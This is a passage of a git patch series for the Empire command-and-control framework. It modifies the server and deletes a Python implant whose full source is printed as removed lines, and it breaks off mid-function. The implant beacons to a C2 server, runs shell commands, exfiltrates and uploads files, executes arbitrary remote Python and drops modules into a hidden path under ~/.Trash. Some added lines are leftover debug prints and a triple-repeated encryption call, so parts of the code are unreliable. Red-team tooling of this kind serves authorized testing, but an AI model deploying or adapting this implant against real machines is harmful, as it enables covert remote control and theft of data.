endTime = datetime.datetime.strptime(end, "%H:%M") + + if not (startTime <= now <= endTime): + sleepTime = startTime - now + # sleep until the start of the next window + time.sleep(sleepTime.seconds) + + except Exception as e: + pass + + # check if we're past the killdate for this agent + # killDate form -> MO/DAY/YEAR + if killDate != "" and 'KILLDATE' not in killDate: + now = datetime.datetime.now().date() + try: + killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date() + except: + pass + + if now >= killDateTime: + msg = "[!] Agent %s exiting" %(sessionID) + send_message(build_response_packet(2, msg)) + agent_exit() + + # exit if we miss commnicating with the server enough times + if missedCheckins >= lostLimit: + agent_exit() + + # sleep for the randomized interval + if jitter < 0: jitter = -jitter + if jitter > 1: jitter = old_div(1,jitter) + minSleep = int((1.0-jitter)*delay) + maxSleep = int((1.0+jitter)*delay) + + sleepTime = random.randint(minSleep, maxSleep) + time.sleep(sleepTime) + + (code, data) = send_message() + + if code == '200': + try: + send_job_message_buffer() + except Exception as e: + result = build_response_packet(0, str('[!] Failed to check job buffer!: ' + str(e))) + process_job_tasking(result) + if data == defaultResponse: + missedCheckins = 0 + else: + decode_routing_packet(data) + else: + pass + # print "invalid code:",code + + except Exception as e: + print("main() exception: %s" % (e)) + diff --git a/data/agent/stagers/common/rc4.py b/data/agent/stagers/common/rc4.py index f69a688f1..4813beda6 100644 --- a/data/agent/stagers/common/rc4.py +++ b/data/agent/stagers/common/rc4.py @@ -92,8 +92,10 @@ def parse_routing_packet(stagingKey, data): RC4IV = data[0+offset:4+offset] RC4data = data[4+offset:20+offset] routingPacket = rc4(RC4IV+stagingKey.encode('UTF-8'), RC4data) + sessionID = routingPacket[0:8].decode('UTF-8') + # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) @@ -110,7 +112,8 @@ def parse_routing_packet(stagingKey, data): break offset += 20 + length - + print("Parse packet:") + print(results) return results else: @@ -172,4 +175,6 @@ def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData='' if isinstance(rc4EncData, str): rc4EncData = rc4EncData.encode('UTF-8') packet = RC4IV + rc4EncData + encData + print("Build packet:") + print(packet) return packet \ No newline at end of file diff --git a/lib/common/agents.py b/lib/common/agents.py index 245c3a2a2..9ea85a8c4 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -614,7 +614,6 @@ def get_agent_results_db(self, sessionID): """ Return agent results from the backend database. """ - agent_name = sessionID # see if we were passed a name instead of an ID @@ -1061,7 +1060,6 @@ def add_agent_task_db(self, sessionID, taskName, task=''): """ Add a task to the specified agent's buffer in the database. """ - agentName = sessionID # see if we were passed a name instead of an ID @@ -1122,7 +1120,6 @@ def add_agent_task_db(self, sessionID, taskName, task=''): f = open('%s/LastTask' % (self.installPath), 'w') f.write(task) f.close() - return pk finally: diff --git a/lib/common/empire.py b/lib/common/empire.py index 98bf48cdc..51ffc1a15 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2836,25 +2836,37 @@ def handle_agent_event(self, signal, sender): results = self.mainMenu.agents.get_agent_results_db(self.sessionID) if results: print("\n" + helpers.color(results)) - + def default(self, line): "Default handler" + line = line.strip() parts = line.split(' ') - + if len(parts) > 0: # check if we got an agent command if parts[0] in self.agentCommands: shellcmd = ' '.join(parts) # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", shellcmd) + + # dispatch this event + message = "[*] Tasked agent to run command {}".format(line) + signal = json.dumps({ + 'print': False, + 'message': message, + 'command': line + }) + dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) + # update the agent log msg = "Tasked agent to run command " + line self.mainMenu.agents.save_agent_log(self.sessionID, msg) else: print(helpers.color("[!] Command not recognized.")) print(helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")) - + + def do_help(self, *args): "Displays the help menu or syntax for particular commands." SubMenu.do_help(self, *args) @@ -2929,15 +2941,14 @@ def do_cd(self, line): "Change an agent's active directory" line = line.strip() - if line != "": # have to be careful with inline python and no threading # this can cause the agent to crash so we will use try / cath # task the agent with this shell command if line == "..": - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print "Directory stepped down: %s"' % (line)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print("Directory stepped down: %s")' % (line)) else: - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print "Directory changed to: %s"' % (line, line)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print("Directory changed to: %s)"' % (line, line)) # dispatch this event message = "[*] Tasked agent to change active directory to {}".format(line) @@ -2945,9 +2956,11 @@ def do_cd(self, line): 'print': False, 'message': message }) + print("empire 2949") dispatcher.send(signal, sender="agents/{}".format(self.sessionID)) # update the agent log + print("empire 2953") msg = "Tasked agent to change active directory to: %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) @@ -3012,7 +3025,7 @@ def do_sleep(self, line): if delay == "": # task the agent to display the delay/jitter - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)") + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print('delay/jitter = ' + str(delay)+'/'+str(jitter))") # dispatch this event message = "[*] Tasked agent to display delay/jitter" @@ -3034,7 +3047,7 @@ def do_sleep(self, line): self.mainMenu.agents.set_agent_field_db("delay", delay, self.sessionID) self.mainMenu.agents.set_agent_field_db("jitter", jitter, self.sessionID) - self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print 'delay/jitter set to %s/%s'" % (delay, jitter, delay, jitter)) + self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; delay=%s; jitter=%s; print('delay/jitter set to %s/%s')" % (delay, jitter, delay, jitter)) # dispatch this event message = "[*] Tasked agent to delay sleep/jitter {}/{}".format(delay, jitter) @@ -3171,7 +3184,7 @@ def do_shell(self, line): "Task an agent to use a shell command." line = line.strip() - + print("3175") if line != "": # task the agent with this shell command self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SHELL", str(line)) diff --git a/lib/common/packets.py b/lib/common/packets.py index aa6e28878..50b92c856 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -278,10 +278,7 @@ def parse_routing_packet(stagingKey, data): RC4IV = data[0 + offset:4 + offset] RC4data = data[4 + offset:20 + offset] routingPacket = encryption.rc4(RC4IV + stagingKey.encode('UTF-8'), RC4data) - try: - sessionID = routingPacket[0:8].decode('UTF-8') - except: - sessionID = routingPacket[0:8].decode('latin-1') + sessionID = routingPacket[0:8].decode('UTF-8') # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) @@ -307,7 +304,7 @@ def parse_routing_packet(stagingKey, data): break offset += 20 + length - + print(results) return results else: diff --git a/lib/listeners/http.py b/lib/listeners/http.py index 3fb9e9135..91a5f6918 100644 --- a/lib/listeners/http.py +++ b/lib/listeners/http.py @@ -859,6 +859,8 @@ def send_message(packets=None): data = ''.join(packets) # aes_encrypt_then_hmac is in stager.py encData = aes_encrypt_then_hmac(key, data) + encData = aes_encrypt_then_hmac(key, data) + encData = aes_encrypt_then_hmac(key, data) data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData) else: # if we're GETing taskings, then build the routing packet to stuff info a cookie first. From eb9a8c4d33b9768cfaba7c4365c3355b624744d6 Mon Sep 17 00:00:00 2001 From: roseaj Date: Thu, 2 Jan 2020 21:46:53 -0500 Subject: [PATCH 06/17] Removed agents.py --- data/agent/stagers/common/agent.py | 1064 ---------------------------- lib/common/empire.py | 1 - 2 files changed, 1065 deletions(-) delete mode 100644 data/agent/stagers/common/agent.py diff --git a/data/agent/stagers/common/agent.py b/data/agent/stagers/common/agent.py deleted file mode 100644 index e81d9a3e8..000000000 --- a/data/agent/stagers/common/agent.py +++ /dev/null @@ -1,1064 +0,0 @@ -from future import standard_library -standard_library.install_aliases() -from builtins import str -from builtins import range -from builtins import object -from past.utils import old_div -import __future__ -import struct -import time -import base64 -import subprocess -import random -import time -import datetime -import os -import sys -import trace -import shlex -import zlib -import threading -import http.server -import zipfile -import io -import imp -import marshal -import re -import shutil -import pwd -import socket -import math -import stat -import grp -from stat import S_ISREG, ST_CTIME, ST_MODE -from os.path import expanduser -from io import StringIO -from threading import Thread - - -################################################ -# -# agent configuration information -# -################################################ - -# print "starting agent" - -# profile format -> -# tasking uris | user agent | additional header 1 | additional header 2 | ... -profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko" - -if server.endswith("/"): server = server[0:-1] - -delay = 60 -jitter = 0.0 -lostLimit = 60 -missedCheckins = 0 -jobMessageBuffer = '' -currentListenerName = "" -sendMsgFuncCode = "" - -# killDate form -> "MO/DAY/YEAR" -killDate = 'REPLACE_KILLDATE' -# workingHours form -> "9:00-17:00" -workingHours = 'REPLACE_WORKINGHOURS' - -parts = profile.split('|') -taskURIs = parts[0].split(',') -userAgent = parts[1] -headersRaw = parts[2:] - -defaultResponse = base64.b64decode("") - -jobs = [] -moduleRepo = {} -_meta_cache = {} - - -# global header dictionary -# sessionID is set by stager.py -# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)} -headers = {'User-Agent': userAgent} - -# parse the headers into the global header dictionary -for headerRaw in headersRaw: - try: - headerKey = headerRaw.split(":")[0] - headerValue = headerRaw.split(":")[1] - - if headerKey.lower() == "cookie": - headers['Cookie'] = "%s;%s" %(headers['Cookie'], headerValue) - else: - headers[headerKey] = headerValue - except: - pass - - -################################################ -# -# communication methods -# -################################################ - -REPLACE_COMMS - - -################################################ -# -# encryption methods -# -################################################ - -def decode_routing_packet(data): - """ - Parse ALL routing packets and only process the ones applicable - to this agent. - """ - # returns {sessionID : (language, meta, additional, [encData]), ...} - packets = parse_routing_packet(stagingKey, data) - for agentID, packet in packets.items(): - if agentID == sessionID: - (language, meta, additional, encData) = packet - # if meta == 'SERVER_RESPONSE': - process_tasking(encData) - else: - # TODO: how to handle forwarding on other agent routing packets? - pass - - -def build_response_packet(taskingID, packetData, resultID=0): - """ - Build a task packet for an agent. - - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data - - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ - """ - - packetType = struct.pack('=H', taskingID) - totalPacket = struct.pack('=H', 1) - packetNum = struct.pack('=H', 1) - resultID = struct.pack('=H', resultID) - - if packetData: - packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8','ignore')) - if len(packetData) % 4: - packetData += '=' * (4 - len(packetData) % 4) - - length = struct.pack('=L',len(packetData)) - return packetType + totalPacket + packetNum + resultID + length + packetData - else: - length = struct.pack('=L', 0) - return packetType + totalPacket + packetNum + resultID + length - - -def parse_task_packet(packet, offset=0): - """ - Parse a result packet- - - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data - - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ - - Returns a tuple with (responseName, length, data, remainingData) - - Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData) - """ - - # print "parse_task_packet" - - try: - packetType = struct.unpack('=H', packet[0+offset:2+offset])[0] - totalPacket = struct.unpack('=H', packet[2+offset:4+offset])[0] - packetNum = struct.unpack('=H', packet[4+offset:6+offset])[0] - resultID = struct.unpack('=H', packet[6+offset:8+offset])[0] - length = struct.unpack('=L', packet[8+offset:12+offset])[0] - packetData = packet[12+offset:12+offset+length] - remainingData = packet[12+offset+length:] - return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData) - except Exception as e: - # print "parse_task_packet exception:",e - return (None, None, None, None, None, None, None) - - -def process_tasking(data): - # processes an encrypted data packet - # -decrypts/verifies the response to get - # -extracts the packets and processes each - - try: - # aes_decrypt_and_verify is in stager.py - tasking = aes_decrypt_and_verify(key, data) - (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking) - - # if we get to this point, we have a legit tasking so reset missedCheckins - missedCheckins = 0 - - # execute/process the packets and get any response - resultPackets = "" - result = process_packet(packetType, data, resultID) - - if result: - resultPackets += result - - packetOffset = 12 + length - - while remainingData and remainingData != '': - (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking, offset=packetOffset) - result = process_packet(packetType, data, resultID) - if result: - resultPackets += result - - packetOffset += 12 + length - - # send_message() is patched in from the listener module - send_message(resultPackets) - - except Exception as e: - # print "processTasking exception:",e - pass - - -def process_job_tasking(result): - # process job data packets - # - returns to the C2 - # execute/process the packets and get any response - try: - resultPackets = "" - if result: - resultPackets += result - # send packets - send_message(resultPackets) - except Exception as e: - print("processJobTasking exception:",e) - pass - - -def process_packet(packetType, data, resultID): - - try: - packetType = int(packetType) - except Exception as e: - return None - - if packetType == 1: - # sysinfo request - # get_sysinfo should be exposed from stager.py - return build_response_packet(1, get_sysinfo(), resultID) - - elif packetType == 2: - # agent exit - - send_message(build_response_packet(2, "", resultID)) - agent_exit() - - elif packetType == 40: - # run a command - parts = data.split(" ") - - if len(parts) == 1: - data = parts[0] - resultData = str(run_command(data)) - return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) - else: - cmd = parts[0] - cmdargs = ' '.join(parts[1:len(parts)]) - resultData = str(run_command(cmd, cmdargs=cmdargs)) - return build_response_packet(40, resultData + "\r\n ..Command execution completed.", resultID) - - elif packetType == 41: - # file download - objPath = os.path.abspath(data) - fileList = [] - if not os.path.exists(objPath): - return build_response_packet(40, "file does not exist or cannot be accessed", resultID) - - if not os.path.isdir(objPath): - fileList.append(objPath) - else: - # recursive dir listing - for folder, subs, files in os.walk(objPath): - for filename in files: - #dont care about symlinks - if os.path.exists(objPath): - fileList.append(objPath + "/" + filename) - - for filePath in fileList: - offset = 0 - size = os.path.getsize(filePath) - partIndex = 0 - - while True: - - # get 512kb of the given file starting at the specified offset - encodedPart = get_file_part(filePath, offset=offset, base64=False) - c = compress() - start_crc32 = c.crc32_data(encodedPart) - comp_data = c.comp_data(encodedPart) - encodedPart = c.build_header(comp_data, start_crc32) - encodedPart = base64.b64encode(encodedPart) - - partData = "%s|%s|%s" %(partIndex, filePath, encodedPart) - if not encodedPart or encodedPart == '' or len(encodedPart) == 16: - break - - send_message(build_response_packet(41, partData, resultID)) - - global delay - global jitter - if jitter < 0: jitter = -jitter - if jitter > 1: jitter = old_div(1,jitter) - - minSleep = int((1.0-jitter)*delay) - maxSleep = int((1.0+jitter)*delay) - sleepTime = random.randint(minSleep, maxSleep) - time.sleep(sleepTime) - partIndex += 1 - offset += 512000 - - elif packetType == 42: - # file upload - try: - parts = data.split("|") - filePath = parts[0] - base64part = parts[1] - raw = base64.b64decode(base64part) - d = decompress() - dec_data = d.dec_data(raw, cheader=True) - if not dec_data['crc32_check']: - send_message(build_response_packet(0, "[!] WARNING: File upload failed crc32 check during decompressing!.", resultID)) - send_message(build_response_packet(0, "[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']), resultID)) - f = open(filePath, 'ab') - f.write(dec_data['data']) - f.close() - - send_message(build_response_packet(42, "[*] Upload of %s successful" %(filePath), resultID)) - except Exception as e: - sendec_datadMessage(build_response_packet(0, "[!] Error in writing file %s during upload: %s" %(filePath, str(e)), resultID)) - - elif packetType == 50: - # return the currently running jobs - msg = "" - if len(jobs) == 0: - msg = "No active jobs" - else: - msg = "Active jobs:\n" - for x in range(len(jobs)): - msg += "\t%s" %(x) - return build_response_packet(50, msg, resultID) - - elif packetType == 51: - # stop and remove a specified job if it's running - try: - # Calling join first seems to hang - # result = jobs[int(data)].join() - send_message(build_response_packet(0, "[*] Attempting to stop job thread", resultID)) - result = jobs[int(data)].kill() - send_message(build_response_packet(0, "[*] Job thread stoped!", resultID)) - jobs[int(data)]._Thread__stop() - jobs.pop(int(data)) - if result and result != "": - send_message(build_response_packet(51, result, resultID)) - except: - return build_response_packet(0, "error stopping job: %s" %(data), resultID) - - elif packetType == 100: - # dynamic code execution, wait for output, don't save outputPicl - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - results = buffer.getvalue() - return build_response_packet(100, str(results), resultID) - except Exception as e: - errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) - - elif packetType == 101: - # dynamic code execution, wait for output, save output - prefix = data[0:15].strip() - extension = data[15:20].strip() - data = data[20:] - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(data, '', 'exec') - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - c = compress() - start_crc32 = c.crc32_data(buffer.getvalue()) - comp_data = c.comp_data(buffer.getvalue()) - encodedPart = c.build_header(comp_data, start_crc32) - encodedPart = base64.b64encode(encodedPart) - return build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart, resultID) - except Exception as e: - # Also return partial code that has been executed - errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) - - elif packetType == 102: - # on disk code execution for modules that require multiprocessing not supported by exec - try: - implantHome = expanduser("~") + '/.Trash/' - moduleName = ".mac-debug-data" - implantPath = implantHome + moduleName - result = "[*] Module disk path: %s \n" %(implantPath) - with open(implantPath, 'w') as f: - f.write(data) - result += "[*] Module properly dropped to disk \n" - pythonCommand = "python %s" %(implantPath) - process = subprocess.Popen(pythonCommand, stdout=subprocess.PIPE, shell=True) - data = process.communicate() - result += data[0].strip() - try: - os.remove(implantPath) - result += "\n[*] Module path was properly removed: %s" %(implantPath) - except Exception as e: - print("error removing module filed: %s" %(e)) - fileCheck = os.path.isfile(implantPath) - if fileCheck: - result += "\n\nError removing module file, please verify path: " + str(implantPath) - return build_response_packet(100, str(result), resultID) - except Exception as e: - fileCheck = os.path.isfile(implantPath) - if fileCheck: - return build_response_packet(0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" %(e, implantPath), resultID) - return build_response_packet(0, "error executing specified Python data: %s" %(e), resultID) - - elif packetType == 110: - start_job(data) - return build_response_packet(110, "job %s started" %(len(jobs)-1), resultID) - - elif packetType == 111: - # TASK_CMD_JOB_SAVE - # TODO: implement job structure - pass - - elif packetType == 121: - #base64 decode the script and execute - script = base64.b64decode(data) - try: - buffer = StringIO() - sys.stdout = buffer - code_obj = compile(script, '', 'exec') - exec(code_obj, globals()) - sys.stdout = sys.__stdout__ - result = str(buffer.getvalue()) - return build_response_packet(121, result, resultID) - except Exception as e: - errorData = str(buffer.getvalue()) - return build_response_packet(0, "error executing specified Python data %s \nBuffer data recovered:\n%s" %(e, errorData), resultID) - - elif packetType == 122: - #base64 decode and decompress the data - try: - parts = data.split('|') - base64part = parts[1] - fileName = parts[0] - raw = base64.b64decode(base64part) - d = decompress() - dec_data = d.dec_data(raw, cheader=True) - if not dec_data['crc32_check']: - send_message(build_response_packet(122, "Failed crc32_check during decompression", resultID)) - except Exception as e: - send_message(build_response_packet(122, "Unable to decompress zip file: %s" % (e), resultID)) - - zdata = dec_data['data'] - zf = zipfile.ZipFile(io.BytesIO(zdata), "r") - if fileName in list(moduleRepo.keys()): - send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID)) - else: - moduleRepo[fileName] = zf - install_hook(fileName) - send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID)) - - elif packetType == 123: - #view loaded modules - repoName = data - if repoName == "": - loadedModules = "\nAll Repos\n" - for key, value in list(moduleRepo.items()): - loadedModules += "\n----"+key+"----\n" - loadedModules += '\n'.join(moduleRepo[key].namelist()) - - send_message(build_response_packet(123, loadedModules, resultID)) - else: - try: - loadedModules = "\n----"+repoName+"----\n" - loadedModules += '\n'.join(moduleRepo[repoName].namelist()) - send_message(build_response_packet(123, loadedModules, resultID)) - except Exception as e: - msg = "Unable to retrieve repo contents: %s" % (str(e)) - send_message(build_response_packet(123, msg, resultID)) - - elif packetType == 124: - #remove module - repoName = data - try: - remove_hook(repoName) - del moduleRepo[repoName] - send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID)) - except Exception as e: - send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID)) - - else: - return build_response_packet(0, "invalid tasking ID: %s" %(taskingID), resultID) - - -################################################ -# -# Custom Import Hook -# #adapted from https://github.com/sulinx/remote_importer -# -################################################ - -# [0] = .py ext, is_package = False -# [1] = /__init__.py ext, is_package = True -_search_order = [('.py', False), ('/__init__.py', True)] - -class ZipImportError(ImportError): - """Exception raised by zipimporter objects.""" - -# _get_info() = takes the fullname, then subpackage name (if applicable), -# and searches for the respective module or package - -class CFinder(object): - """Import Hook for Empire""" - def __init__(self, repoName): - self.repoName = repoName - - def _get_info(self, repoName, fullname): - """Search for the respective package or module in the zipfile object""" - parts = fullname.split('.') - submodule = parts[-1] - modulepath = '/'.join(parts) - - #check to see if that specific module exists - - for suffix, is_package in _search_order: - relpath = modulepath + suffix - try: - moduleRepo[repoName].getinfo(relpath) - except KeyError: - pass - else: - return submodule, is_package, relpath - - #Error out if we can find the module/package - msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName)) - raise ZipImportError(msg) - - def _get_source(self, repoName, fullname): - """Get the source code for the requested module""" - submodule, is_package, relpath = self._get_info(repoName, fullname) - fullpath = '%s/%s' % (repoName, relpath) - source = moduleRepo[repoName].read(relpath) - source = source.replace('\r\n', '\n') - source = source.replace('\r', '\n') - - return submodule, is_package, fullpath, source - - def find_module(self, fullname, path=None): - - try: - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - except ImportError: - return None - else: - return self - - def load_module(self, fullname): - submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) - code = compile(source, fullpath, 'exec') - mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) - mod.__loader__ = self - mod.__file__ = fullpath - mod.__name__ = fullname - if is_package: - mod.__path__ = [os.path.dirname(mod.__file__)] - exec(code, mod.__dict__) - return mod - - def get_data(self, fullpath): - - prefix = os.path.join(self.repoName, '') - if not fullpath.startswith(prefix): - raise IOError('Path %r does not start with module name %r', (fullpath, prefix)) - relpath = fullpath[len(prefix):] - try: - return moduleRepo[self.repoName].read(relpath) - except KeyError: - raise IOError('Path %r not found in repo %r' % (relpath, self.repoName)) - - def is_package(self, fullname): - """Return if the module is a package""" - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - return is_package - - def get_code(self, fullname): - submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) - return compile(source, fullpath, 'exec') - -def install_hook(repoName): - if repoName not in _meta_cache: - finder = CFinder(repoName) - _meta_cache[repoName] = finder - sys.meta_path.append(finder) - -def remove_hook(repoName): - if repoName in _meta_cache: - finder = _meta_cache.pop(repoName) - sys.meta_path.remove(finder) - -################################################ -# -# misc methods -# -################################################ -class compress(object): - - ''' - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - ''' - - CRC_HSIZE = 4 - COMP_RATIO = 9 - - def __init__(self, verbose=False): - """ - Populates init. - """ - pass - - def comp_data(self, data, cvalue=COMP_RATIO): - ''' - Takes in a string and computes - the comp obj. - data = string wanting compression - cvalue = 0-9 comp value (default 6) - ''' - cdata = zlib.compress(data,cvalue) - return cdata - - def crc32_data(self, data): - ''' - Takes in a string and computes crc32 value. - data = string before compression - returns: - HEX bytes of data - ''' - crc = zlib.crc32(data) & 0xFFFFFFFF - return crc - - def build_header(self, data, crc): - ''' - Takes comp data, org crc32 value, - and adds self header. - data = comp data - crc = crc32 value - ''' - header = struct.pack("!I",crc) - built_data = header + data - return built_data - -class decompress(object): - - ''' - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - ''' - - CRC_HSIZE = 4 - COMP_RATIO = 9 - - def __init__(self, verbose=False): - """ - Populates init. - """ - pass - - def dec_data(self, data, cheader=True): - ''' - Takes: - Custom / standard header data - data = comp data with zlib header - BOOL cheader = passing custom crc32 header - returns: - dict with crc32 cheack and dec data string - ex. {"crc32" : true, "dec_data" : "-SNIP-"} - ''' - if cheader: - comp_crc32 = struct.unpack("!I", data[:self.CRC_HSIZE])[0] - dec_data = zlib.decompress(data[self.CRC_HSIZE:]) - dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF - if comp_crc32 == dec_crc32: - crc32 = True - else: - crc32 = False - return { "header_crc32" : comp_crc32, "dec_crc32" : dec_crc32, "crc32_check" : crc32, "data" : dec_data } - else: - dec_data = zlib.decompress(data) - return dec_data - -def agent_exit(): - # exit for proper job / thread cleanup - if len(jobs) > 0: - try: - for x in jobs: - jobs[int(x)].kill() - jobs.pop(x) - except: - # die hard if thread kill fails - pass - exit() - -def indent(lines, amount=4, ch=' '): - padding = amount * ch - return padding + ('\n'+padding).join(lines.split('\n')) - - -# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python -class ThreadWithReturnValue(Thread): - def __init__(self, group=None, target=None, name=None, - args=(), kwargs={}, Verbose=None): - Thread.__init__(self, group, target, name, args, kwargs, Verbose) - self._return = None - def run(self): - if self._Thread__target is not None: - self._return = self._Thread__target(*self._Thread__args, - **self._Thread__kwargs) - def join(self): - Thread.join(self) - return self._return - - -class KThread(threading.Thread): - - """A subclass of threading.Thread, with a kill() - method.""" - - def __init__(self, *args, **keywords): - threading.Thread.__init__(self, *args, **keywords) - self.killed = False - - def start(self): - """Start the thread.""" - self.__run_backup = self.run - self.run = self.__run # Force the Thread toinstall our trace. - threading.Thread.start(self) - - def __run(self): - """Hacked run function, which installs the - trace.""" - sys.settrace(self.globaltrace) - self.__run_backup() - self.run = self.__run_backup - - def globaltrace(self, frame, why, arg): - if why == 'call': - return self.localtrace - else: - return None - - def localtrace(self, frame, why, arg): - if self.killed: - if why == 'line': - raise SystemExit() - return self.localtrace - - def kill(self): - self.killed = True - - -def start_job(code): - - global jobs - - # create a new code block with a defined method name - codeBlock = "def method():\n" + indent(code) - - # register the code block - code_obj = compile(codeBlock, '', 'exec') - # code needs to be in the global listing - # not the locals() scope - exec(code_obj, globals()) - - # create/processPacketstart/return the thread - # call the job_func so sys data can be cpatured - codeThread = KThread(target=job_func) - codeThread.start() - - jobs.append(codeThread) - - -def job_func(): - try: - old_stdout = sys.stdout - sys.stdout = mystdout = StringIO() - # now call the function required - # and capture the output via sys - method() - sys.stdout = old_stdout - dataStats_2 = mystdout.getvalue() - result = build_response_packet(110, str(dataStats_2)) - process_job_tasking(result) - except Exception as e: - p = "error executing specified Python job data: " + str(e) - result = build_response_packet(0, p) - process_job_tasking(result) - -def job_message_buffer(message): - # Supports job messages for checkin - global jobMessageBuffer - try: - - jobMessageBuffer += str(message) - except Exception as e: - print(e) - -def get_job_message_buffer(): - global jobMessageBuffer - try: - result = build_response_packet(110, str(jobMessageBuffer)) - jobMessageBuffer = "" - return result - except Exception as e: - return build_response_packet(0, "[!] Error getting job output: %s" %(e)) - -def send_job_message_buffer(): - if len(jobs) > 0: - result = get_job_message_buffer() - process_job_tasking(result) - else: - pass - -def start_webserver(data, ip, port, serveCount): - # thread data_webserver for execution - t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount)) - t.start() - return - -def data_webserver(data, ip, port, serveCount): - # hosts a file on port and IP servers data string - hostName = str(ip) - portNumber = int(port) - data = str(data) - serveCount = int(serveCount) - count = 0 - class serverHandler(http.server.BaseHTTPRequestHandler): - def do_GET(s): - """Respond to a GET request.""" - s.send_response(200) - s.send_header("Content-type", "text/html") - s.end_headers() - s.wfile.write(data) - def log_message(s, format, *args): - return - server_class = http.server.HTTPServer - httpServer = server_class((hostName, portNumber), serverHandler) - try: - while (count < serveCount): - httpServer.handle_request() - count += 1 - except: - pass - httpServer.server_close() - return - -def permissions_to_unix_name(st_mode): - permstr = '' - usertypes = ['USR', 'GRP', 'OTH'] - for usertype in usertypes: - perm_types = ['R', 'W', 'X'] - for permtype in perm_types: - perm = getattr(stat, 'S_I%s%s' % (permtype, usertype)) - if st_mode & perm: - permstr += permtype.lower() - else: - permstr += '-' - return permstr - -def directory_listing(path): - # directory listings in python - # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html - - res = "" - for fn in os.listdir(path): - fstat = os.stat(os.path.join(path, fn)) - permstr = permissions_to_unix_name(fstat[0]) - - if os.path.isdir(fn): - permstr = "d{}".format(permstr) - else: - permstr = "-{}".format(permstr) - - user = pwd.getpwuid(fstat.st_uid)[0] - group = grp.getgrgid(fstat.st_gid)[0] - - # Convert file size to MB, KB or Bytes - if (fstat.st_size > 1024 * 1024): - fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024))) - unit = "MB" - elif (fstat.st_size > 1024): - fsize = 